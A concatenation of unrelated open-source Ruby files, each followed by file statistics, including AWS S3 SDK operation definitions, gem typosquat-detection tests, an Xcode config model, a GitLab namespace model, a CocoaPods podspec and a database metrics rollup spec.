api.add_operation(:put_bucket_tagging, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketTagging"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?tagging"
o.input = Shapes::ShapeRef.new(shape: PutBucketTaggingRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_versioning, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketVersioning"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?versioning"
o.input = Shapes::ShapeRef.new(shape: PutBucketVersioningRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_bucket_website, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutBucketWebsite"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}?website"
o.input = Shapes::ShapeRef.new(shape: PutBucketWebsiteRequest)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
end)
api.add_operation(:put_object, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutObject"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: PutObjectRequest)
o.output = Shapes::ShapeRef.new(shape: PutObjectOutput)
end)
api.add_operation(:put_object_acl, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutObjectAcl"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}/{Key+}?acl"
o.input = Shapes::ShapeRef.new(shape: PutObjectAclRequest)
o.output = Shapes::ShapeRef.new(shape: PutObjectAclOutput)
o.errors << Shapes::ShapeRef.new(shape: NoSuchKey)
end)
api.add_operation(:put_object_tagging, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutObjectTagging"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}/{Key+}?tagging"
o.input = Shapes::ShapeRef.new(shape: PutObjectTaggingRequest)
o.output = Shapes::ShapeRef.new(shape: PutObjectTaggingOutput)
end)
api.add_operation(:restore_object, Seahorse::Model::Operation.new.tap do |o|
o.name = "RestoreObject"
o.http_method = "POST"
o.http_request_uri = "/{Bucket}/{Key+}?restore"
o.input = Shapes::ShapeRef.new(shape: RestoreObjectRequest)
o.output = Shapes::ShapeRef.new(shape: RestoreObjectOutput)
o.errors << Shapes::ShapeRef.new(shape: ObjectAlreadyInActiveTierError)
end)
api.add_operation(:select_object_content, Seahorse::Model::Operation.new.tap do |o|
o.name = "SelectObjectContent"
o.http_method = "POST"
o.http_request_uri = "/{Bucket}/{Key+}?select&select-type=2"
o.input = Shapes::ShapeRef.new(shape: SelectObjectContentRequest,
location_name: "SelectObjectContentRequest",
metadata: {
"xmlNamespace" => {"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}
}
)
o.output = Shapes::ShapeRef.new(shape: SelectObjectContentOutput)
end)
api.add_operation(:upload_part, Seahorse::Model::Operation.new.tap do |o|
o.name = "UploadPart"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: UploadPartRequest)
o.output = Shapes::ShapeRef.new(shape: UploadPartOutput)
end)
api.add_operation(:upload_part_copy, Seahorse::Model::Operation.new.tap do |o|
o.name = "UploadPartCopy"
o.http_method = "PUT"
o.http_request_uri = "/{Bucket}/{Key+}"
o.input = Shapes::ShapeRef.new(shape: UploadPartCopyRequest)
o.output = Shapes::ShapeRef.new(shape: UploadPartCopyOutput)
end)
end
end
end
| 82.843396 | 292 | 0.775667 |
33f41eabc2deb4010a888acbd4fe68ccd5ce4f3c | 3,184 | require "test_helper"
class GemTypoTest < ActiveSupport::TestCase
setup do
@existing = create(:rubygem, name: "delayed_job_active_record")
create(:version, rubygem: @existing, created_at: Time.now.utc)
deleted = create(:rubygem, name: "deleted_active_record_gem")
create(:version, rubygem: deleted, created_at: Time.now.utc, indexed: false)
end
should "return false for exact match" do
gem_typo = GemTypo.new("delayed_job_active_record")
refute_predicate gem_typo, :protected_typo?
end
should "return false for any exact match so that owner of the delayed_job_active_record Gem can push an update with existing typosquat" do
existing_typo = build(:rubygem, name: "delayed-job-active-record")
existing_typo.save(validate: false)
create(:version, rubygem: existing_typo, created_at: Time.now.utc)
gem_typo = GemTypo.new("delayed_job_active_record")
refute_predicate gem_typo, :protected_typo?
end
should "return false for an exact match of a yanked gem so a gem with an identical name can be published in the future" do
gem_typo = GemTypo.new("deleted_active_record_gem")
refute_predicate gem_typo, :protected_typo?
end
should "return false for a underscore variation match of a yanked gem so a gem with a similar name can be published in the future" do
gem_typo = GemTypo.new("deleted-active_record-gem")
refute_predicate gem_typo, :protected_typo?
end
context "typo squat on an existing Gem name" do
should "return true for one -/_ character change" do
gem_typo = GemTypo.new("delayed-job_active_record")
assert_predicate gem_typo, :protected_typo?
end
should "return true for one -/_ missing" do
gem_typo = GemTypo.new("delayed_job_activerecord")
assert_predicate gem_typo, :protected_typo?
end
should "return true for two -/_ change" do
gem_typo = GemTypo.new("delayed-job_active-record")
assert_predicate gem_typo, :protected_typo?
end
should "return true for two -/_ changed/missing" do
gem_typo = GemTypo.new("delayed-jobactive-record")
assert_predicate gem_typo, :protected_typo?
end
should "return true for three -/_ character change" do
gem_typo = GemTypo.new("delayed-job-active-record")
assert_predicate gem_typo, :protected_typo?
end
should "return true for three -/_ missing" do
gem_typo = GemTypo.new("delayedjobactiverecord")
assert_predicate gem_typo, :protected_typo?
end
end
context "gem has less than GemTypo::DOWNLOADS_THRESHOLD downloads" do
setup do
@existing.gem_download.update_attribute(:count, 9999)
@gem_typo = GemTypo.new("delayedjobactiverecord")
end
should "return false when most recent release was more than GemTypo::LAST_RELEASE_TIME ago" do
create(:version, rubygem: @existing, created_at: 6.years.ago)
refute_predicate @gem_typo, :protected_typo?
end
should "return true when most recent release was less than GemTypo::LAST_RELEASE_TIME ago" do
create(:version, rubygem: @existing, created_at: 4.years.ago)
assert_predicate @gem_typo, :protected_typo?
end
end
end
| 36.597701 | 140 | 0.730842 |
037a6e1f1625aec5c0f170567dca4c15187233b2 | 4,541 | # frozen_string_literal: true
# MIT License
#
# Copyright (c) 2019 Ivan Bukshev
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# This is the element for listing build configurations.
class XCConfigurationList
# @!attribute [r] reference
# A 96 bits identifier.
# @return [UUID]
attr_reader :reference
# @!attribute [r] isa
# @return [XCConfigurationList]
attr_reader :isa
# @!attribute [r] build_configurations
# A list of element references.
# The objects are a reference to a XCBuildConfiguration element.
# @return [List]
attr_reader :build_configurations
# @!attribute [r] default_configuration_is_visible
# Default value: 0
# @return [Number]
attr_reader :default_configuration_is_visible
# @!attribute [r] default_configuration_name
# The default configuration name.
# @return [String]
attr_reader :default_configuration_name
def initialize(reference,
isa,
build_configurations,
default_configuration_is_visible,
default_configuration_name)
@reference = reference
@isa = isa
@build_configurations = build_configurations
@default_configuration_is_visible = default_configuration_is_visible
@default_configuration_name = default_configuration_name
end
end
# Example:
#
# /* Begin XCConfigurationList section */
#
# F485BA5A22532463006DA0D5 /* Build configuration list for PBXProject "ABCProject" */ = {
# isa = XCConfigurationList;
# buildConfigurations = (
# F485BA8522532465006DA0D5 /* Debug */,
# F485BA9022532472006DA0D5 /* Debug2 */,
# F485BA8622532465006DA0D5 /* Release */,
# );
# defaultConfigurationIsVisible = 0;
# defaultConfigurationName = Release;
# };
# F485BA8722532465006DA0D5 /* Build configuration list for PBXNativeTarget "ABCProject" */ = {
# isa = XCConfigurationList;
# buildConfigurations = (
# F485BA8822532465006DA0D5 /* Debug */,
# F485BA9122532472006DA0D5 /* Debug2 */,
# F485BA8922532465006DA0D5 /* Release */,
# );
# defaultConfigurationIsVisible = 0;
# defaultConfigurationName = Release;
# };
# F485BA8A22532465006DA0D5 /* Build configuration list for PBXNativeTarget "ABCProjectTests" */ = {
# isa = XCConfigurationList;
# buildConfigurations = (
# F485BA8B22532465006DA0D5 /* Debug */,
# F485BA9222532472006DA0D5 /* Debug2 */,
# F485BA8C22532465006DA0D5 /* Release */,
# );
# defaultConfigurationIsVisible = 0;
# defaultConfigurationName = Release;
# };
# F485BA8D22532465006DA0D5 /* Build configuration list for PBXNativeTarget "ABCProjectUITests" */ = {
# isa = XCConfigurationList;
# buildConfigurations = (
# F485BA8E22532465006DA0D5 /* Debug */,
# F485BA9322532472006DA0D5 /* Debug2 */,
# F485BA8F22532465006DA0D5 /* Release */,
# );
# defaultConfigurationIsVisible = 0;
# defaultConfigurationName = Release;
# };
# F485BA9D22532498006DA0D5 /* Build configuration list for PBXNativeTarget "ABCSecondTarget" */ = {
# isa = XCConfigurationList;
# buildConfigurations = (
# F485BA9E22532498006DA0D5 /* Debug */,
# F485BA9F22532498006DA0D5 /* Debug2 */,
# F485BAA022532498006DA0D5 /* Release */,
# );
# defaultConfigurationIsVisible = 0;
# defaultConfigurationName = Release;
# };
#
# /* End XCConfigurationList section */ | 37.528926 | 105 | 0.691698 |
1dfe0565f1bfb5c10a8683a51432b1d217387d1a | 177 | default['starship']['user'] = nil
default['starship']['download_url'] = 'https://github.com/starship/starship/releases/latest/download/starship-x86_64-unknown-linux-gnu.tar.gz'
| 59 | 142 | 0.762712 |
4a24c3f074273e1336f11878b59ffb7d7de5e4a7 | 148 | module Rudash
module Default
def flow_right(*funs)
flatten_funs = funs.flatten.reverse
self.flow(flatten_funs)
end
end
end
| 14.8 | 41 | 0.682432 |
acb106b7274538d5dfaa1fc2a44390cd5fceacf8 | 2,405 | require 'xeroizer/record/application_helper'
module Xeroizer
class GenericApplication
include Http
extend Record::ApplicationHelper
attr_reader :client, :rate_limit_sleep, :rate_limit_max_attempts, :default_headers, :unitdp, :before_request,
:after_request, :nonce_used_max_attempts
attr_accessor :logger, :xero_url
extend Forwardable
def_delegators :client, :access_token
record :Account
record :Allocation
record :Attachment
record :BrandingTheme
record :Contact
record :ContactGroup
record :CreditNote
record :Currency
record :Employee
record :ExpenseClaim
record :Invoice
record :Item
record :Journal
record :ManualJournal
record :Organisation
record :Payment
record :Prepayment
record :PurchaseOrder
record :Receipt
record :RepeatingInvoice
record :Schedule
record :TaxRate
record :TrackingCategory
record :TrackingCategoryChild
record :BankTransaction
record :User
report :AgedPayablesByContact
report :AgedReceivablesByContact
report :BalanceSheet
report :BankStatement
report :BankSummary
report :BudgetSummary
report :ExecutiveSummary
report :ProfitAndLoss
report :TrialBalance
public
# Never used directly. Use sub-classes instead.
# @see PublicApplication
# @see PrivateApplication
# @see PartnerApplication
def initialize(consumer_key, consumer_secret, options = {})
@xero_url = options[:xero_url] || "https://api.xero.com/api.xro/2.0"
@rate_limit_sleep = options[:rate_limit_sleep] || false
@rate_limit_max_attempts = options[:rate_limit_max_attempts] || 5
@nonce_used_max_attempts = options[:nonce_used_max_attempts] || 1
@default_headers = options[:default_headers] || {}
@before_request = options.delete(:before_request)
@after_request = options.delete(:after_request)
@client = OAuth.new(consumer_key, consumer_secret, options.merge({default_headers: default_headers}))
@logger = options[:logger] || false
@unitdp = options[:unitdp] || 2
end
def payroll(options = {})
xero_client = self.clone
xero_client.xero_url = options[:xero_url] || "https://api.xero.com/payroll.xro/1.0"
@payroll ||= PayrollApplication.new(xero_client)
end
end
end
| 30.0625 | 113 | 0.694802 |
3390619c5cbb4dd90d3d7e9c49ac2749a3626bd7 | 104 | $LOAD_PATH << "./test"
$LOAD_PATH << "./lib"
Dir.glob("./test/test_*.rb").each { |file| require file }
| 20.8 | 57 | 0.596154 |
189591669312fe7148e85cac2fdec018a6fb1f0c | 2,637 | # == Schema Information
#
# Table name: namespaces
#
# id :integer not null, primary key
# name :string(255) not null
# path :string(255) not null
# owner_id :integer not null
# created_at :datetime not null
# updated_at :datetime not null
# type :string(255)
# description :string(255) default(""), not null
#
class Namespace < ActiveRecord::Base
include Gitlab::ShellAdapter
attr_accessible :name, :description, :path
has_many :projects, dependent: :destroy
belongs_to :owner, class_name: "User"
validates :owner, presence: true
validates :name, presence: true, uniqueness: true,
length: { within: 0..255 },
format: { with: Gitlab::Regex.name_regex,
message: "only letters, digits, spaces & '_' '-' '.' allowed." }
validates :description, length: { within: 0..255 }
validates :path, uniqueness: true, presence: true, length: { within: 1..255 },
exclusion: { in: Gitlab::Blacklist.path },
format: { with: Gitlab::Regex.path_regex,
message: "only letters, digits & '_' '-' '.' allowed. Letter should be first" }
delegate :name, to: :owner, allow_nil: true, prefix: true
after_create :ensure_dir_exist
after_update :move_dir, if: :path_changed?
after_destroy :rm_dir
scope :root, -> { where('type IS NULL') }
def self.search query
where("name LIKE :query OR path LIKE :query", query: "%#{query}%")
end
def self.global_id
'GLN'
end
def to_param
path
end
def human_name
owner_name
end
def ensure_dir_exist
gitlab_shell.add_namespace(path)
end
def rm_dir
gitlab_shell.rm_namespace(path)
end
def move_dir
if gitlab_shell.mv_namespace(path_was, path)
# If repositories moved successfully we need to remove old satellites
# and send update instructions to users.
# However we cannot allow rollback since we moved namespace dir
# So we basically we mute exceptions in next actions
begin
gitlab_shell.rm_satellites(path_was)
send_update_instructions
rescue
# Returning false does not rollback after_* transaction but gives
# us information about failing some of tasks
false
end
else
# if we cannot move namespace directory we should rollback
# db changes in order to prevent out of sync between db and fs
raise Exception.new('namespace directory cannot be moved')
end
end
def send_update_instructions
projects.each(&:send_move_instructions)
end
end
| 28.978022 | 101 | 0.649223 |
bf25d13d68850fc76c03112957b4ca19bbf21932 | 3,334 | #-------------------------------------------------------------------------------
# Copyright (c) 2008 Topher Fangio
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation
# files (the "Software"), to deal in the Software without
# restriction, including without limitation the rights to use,
# copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following
# conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
#-------------------------------------------------------------------------------
module LCDProc
module Widgets
class String
include LCDProc::Widget
LCDProc::Widget.add_support( :string, self )
attr_accessor :x, :y, :widget_text
@@widget_count = 0
# Creates a new String widget which can then be displayed anywhere on the screen.
#
# * <tt>:id</tt> - A unique string which identifies this widget. Defaults to "StringWidget_" + a sequence number.
# * <tt>:text</tt> - The text that you wish to display on the screen. Default to "Hello".
# * <tt>:col</tt> - The column in which you wish to display the text on screen. Defaults to 1.
# * <tt>:row</tt> - The row in which you wish to display the text on screen. Defaults to 1.
#
# Example:
#
# w = String.new
#
# or
#
# w = String.new( 'Test', 'This is a string', 1, 5 )
def initialize( id = "StringWidget_#{@@widget_count}", text = "Hello", col = 1, row = 1 )
if id.nil?
id = "StringWidget_#{@@widget_count}"
end
@id = id
@type = :string
@screen = nil
@visible = false
@widget_text = text
@x = col
@y = row
@@widget_count += 1
end
# Sends to command to the LCDd server to update the widget on screen
def update
if @screen
response = @screen.client.send_command( Command.new( "widget_set #{@screen.id} #{self.id} #{@x} #{@y} \"#{@widget_text}\"" ) )
if response.successful?
@screen.client.add_message( "Widget '#{@id}' was successfully updated" )
return true
else
@screen.client.add_message( "Error: Widget '#{@id}' was NOT successfully updated (#{response.message})" )
return true
end
else
@screen.client.add_message( "Error: Cannot update Widget '#{@id}' until it is attached to a screen" )
return false
end
end
end
end
end
| 35.094737 | 136 | 0.588482 |
7ad0f5d318e3661610a80b84e5743f80a37f473c | 1,639 | #
# Be sure to run `pod lib lint SemanticImage.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'SemanticImage'
s.version = '0.1.0'
s.summary = 'A short description of SemanticImage.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
DESC
s.homepage = 'https://github.com/sunfjun/SemanticImage'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'sunfjun' => '[email protected]' }
s.source = { :git => 'https://github.com/sunfjun/SemanticImage.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.swift_version = '5.0'
s.ios.deployment_target = '13.0'
s.source_files = 'SemanticImage/Classes/**/*'
s.resource_bundles = {
'SemanticImage' => ['SemanticImage/Assets/*.mlmodelc']
}
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 37.25 | 105 | 0.644905 |
219be7b2d18e0efdb697a6fa8018477b8c7feb63 | 11,377 | describe VmdbIndex do
context "#capture_metrics" do
let(:index) { FactoryGirl.create(:vmdb_index, :name => "accounts_pkey") }
it "creates a vmdb_metrics record" do
# The first capture just gets the raw data
index.capture_metrics
expect(index.vmdb_metrics).to be_empty
expect(index.prior_raw_metrics).to_not be_nil
# The next capture starts creating the metrics rows
index.capture_metrics
expect(index.vmdb_metrics.count).to eq(1)
metric = index.vmdb_metrics.first
# Verify the column contents
columns = %w( rows pages otta percent_bloat wasted_bytes timestamp )
columns.each do |column|
expect(metric.send(column)).to_not be_nil
end
# Verify the non-index columns are nil
columns = %w(
table_scans sequential_rows_read rows_inserted rows_updated rows_deleted
rows_hot_updated rows_live rows_dead
)
columns.each do |column|
expect(metric.send(column)).to be_nil
end
end
end
context "#rollup_metrics" do
before :each do
db = VmdbDatabase.seed_self
@evm_table = FactoryGirl.create(:vmdb_table_evm, :vmdb_database => db, :name => 'accounts')
@evm_index = FactoryGirl.create(:vmdb_index, :vmdb_table => @evm_table, :name => "accounts_pkey")
ts = Time.gm(2012, 8, 15, 10, 00, 01) # Need specific date in order to keep track of rollup data...
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 50.hours, :rows => 0, :size => 0, :wasted_bytes => 0, :percent_bloat => 0.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 49.hours, :rows => 10, :size => 100, :wasted_bytes => 2, :percent_bloat => 0.2)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 48.hours, :rows => 10, :size => 100, :wasted_bytes => 2, :percent_bloat => 0.2)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 47.hours, :rows => 20, :size => 200, :wasted_bytes => 4, :percent_bloat => 0.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 46.hours, :rows => 20, :size => 200, :wasted_bytes => 4, :percent_bloat => 0.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 45.hours, :rows => 20, :size => 200, :wasted_bytes => 4, :percent_bloat => 0.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 44.hours, :rows => 30, :size => 300, :wasted_bytes => 6, :percent_bloat => 0.5)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 43.hours, :rows => 40, :size => 400, :wasted_bytes => 8, :percent_bloat => 0.6)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 42.hours, :rows => 50, :size => 500, :wasted_bytes => 10, :percent_bloat => 0.7)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 41.hours, :rows => 60, :size => 600, :wasted_bytes => 12, :percent_bloat => 0.8)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 40.hours, :rows => 60, :size => 600, :wasted_bytes => 12, :percent_bloat => 0.8)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 39.hours, :rows => 70, :size => 700, :wasted_bytes => 14, :percent_bloat => 1.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 38.hours, :rows => 80, :size => 800, :wasted_bytes => 16, :percent_bloat => 1.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 37.hours, :rows => 90, :size => 900, :wasted_bytes => 18, :percent_bloat => 4.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 36.hours, :rows => 100, :size => 1000, :wasted_bytes => 20, :percent_bloat => 5.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 35.hours, :rows => 110, :size => 1100, :wasted_bytes => 22, :percent_bloat => 6.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 34.hours, :rows => 120, :size => 1200, :wasted_bytes => 24, :percent_bloat => 9.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 33.hours, :rows => 130, :size => 1300, :wasted_bytes => 26, :percent_bloat => 11.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 32.hours, :rows => 130, :size => 1300, :wasted_bytes => 26, :percent_bloat => 11.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 31.hours, :rows => 130, :size => 1300, :wasted_bytes => 26, :percent_bloat => 11.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 30.hours, :rows => 140, :size => 1400, :wasted_bytes => 28, :percent_bloat => 14.5)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 29.hours, :rows => 150, :size => 1500, :wasted_bytes => 30, :percent_bloat => 15.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 28.hours, :rows => 160, :size => 1600, :wasted_bytes => 32, :percent_bloat => 16.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 27.hours, :rows => 170, :size => 1700, :wasted_bytes => 34, :percent_bloat => 17.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 26.hours, :rows => 180, :size => 1800, :wasted_bytes => 36, :percent_bloat => 18.3)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 25.hours, :rows => 190, :size => 1900, :wasted_bytes => 38, :percent_bloat => 19.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 24.hours, :rows => 200, :size => 2000, :wasted_bytes => 40, :percent_bloat => 20.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 23.hours, :rows => 200, :size => 2000, :wasted_bytes => 40, :percent_bloat => 20.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 22.hours, :rows => 210, :size => 2100, :wasted_bytes => 42, :percent_bloat => 21.6)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 21.hours, :rows => 220, :size => 2200, :wasted_bytes => 44, :percent_bloat => 22.1)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 20.hours, :rows => 240, :size => 2400, :wasted_bytes => 26, :percent_bloat => 24.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 19.hours, :rows => 250, :size => 2500, :wasted_bytes => 28, :percent_bloat => 25.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 18.hours, :rows => 260, :size => 2600, :wasted_bytes => 30, :percent_bloat => 26.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 17.hours, :rows => 290, :size => 2900, :wasted_bytes => 32, :percent_bloat => 29.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 16.hours, :rows => 300, :size => 3000, :wasted_bytes => 34, :percent_bloat => 30.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 15.hours, :rows => 340, :size => 3400, :wasted_bytes => 36, :percent_bloat => 34.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 14.hours, :rows => 350, :size => 3500, :wasted_bytes => 38, :percent_bloat => 35.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 13.hours, :rows => 350, :size => 3500, :wasted_bytes => 40, :percent_bloat => 35.3)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 12.hours, :rows => 360, :size => 3600, :wasted_bytes => 40, :percent_bloat => 36.5)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 11.hours, :rows => 380, :size => 3800, :wasted_bytes => 42, :percent_bloat => 38.8)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 10.hours, :rows => 400, :size => 4000, :wasted_bytes => 44, :percent_bloat => 40.9)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 9.hours, :rows => 410, :size => 4100, :wasted_bytes => 60, :percent_bloat => 41.1)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 8.hours, :rows => 420, :size => 4200, :wasted_bytes => 62, :percent_bloat => 42.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 7.hours, :rows => 420, :size => 4200, :wasted_bytes => 64, :percent_bloat => 42.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 6.hours, :rows => 430, :size => 4300, :wasted_bytes => 70, :percent_bloat => 43.4)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 5.hours, :rows => 440, :size => 4400, :wasted_bytes => 72, :percent_bloat => 44.7)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 4.hours, :rows => 460, :size => 4600, :wasted_bytes => 74, :percent_bloat => 46.3)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 3.hours, :rows => 470, :size => 4700, :wasted_bytes => 76, :percent_bloat => 47.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 2.hours, :rows => 480, :size => 4800, :wasted_bytes => 80, :percent_bloat => 48.5)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts - 1.hour, :rows => 490, :size => 4900, :wasted_bytes => 84, :percent_bloat => 49.0)
FactoryGirl.create(:vmdb_metric_hourly, :resource => @evm_index, :timestamp => ts, :rows => 500, :size => 5000, :wasted_bytes => 90, :percent_bloat => 50.7)
end
it "will return 1 row with average daily rollups for metrics" do
interval_name = 'hourly'
rollup_date = Time.gm(2012, 8, 14, 00, 00, 01)
@evm_index.rollup_metrics(interval_name, rollup_date)
rollup_record = @evm_index.vmdb_metrics.where(:capture_interval_name => 'daily').first
# rollup_record = Metrics::Finders.find_all_by_range(@index, Time.gm(2012, 8, 14, 00, 00, 01), Time.gm(2012, 8, 14, 23, 59, 59), interval_name)
expect(rollup_record).not_to be_nil
expect(rollup_record.rows).to eq(227)
expect(rollup_record.size).to eq(2270)
expect(rollup_record.wasted_bytes).to be_within(0.01).of(33.83)
expect(rollup_record.percent_bloat).to be_within(0.01).of(22.54)
end
it "fetches latest metric record" do
expect(@evm_index.latest_hourly_metric.rows).to eq(500)
expect(@evm_index.latest_hourly_metric.size).to eq(5000)
expect(@evm_index.latest_hourly_metric.wasted_bytes).to eq(90)
expect(@evm_index.latest_hourly_metric.percent_bloat).to eq(50.7)
end
end
end
| 94.808333 | 173 | 0.660895 |
18cdd26b37d3a1e7fd09abd80ccce86ba2a802aa | 153 | class AddReviewToAnswers < ActiveRecord::Migration
def change
change_table :answers do |t|
t.references :review, index: true
end
end
end
| 19.125 | 50 | 0.718954 |
91db0a879b43bf5ed669a9e7dc17b3dd3f6a9dd3 | 42 | module SchemaTest
VERSION = "0.1.0"
end
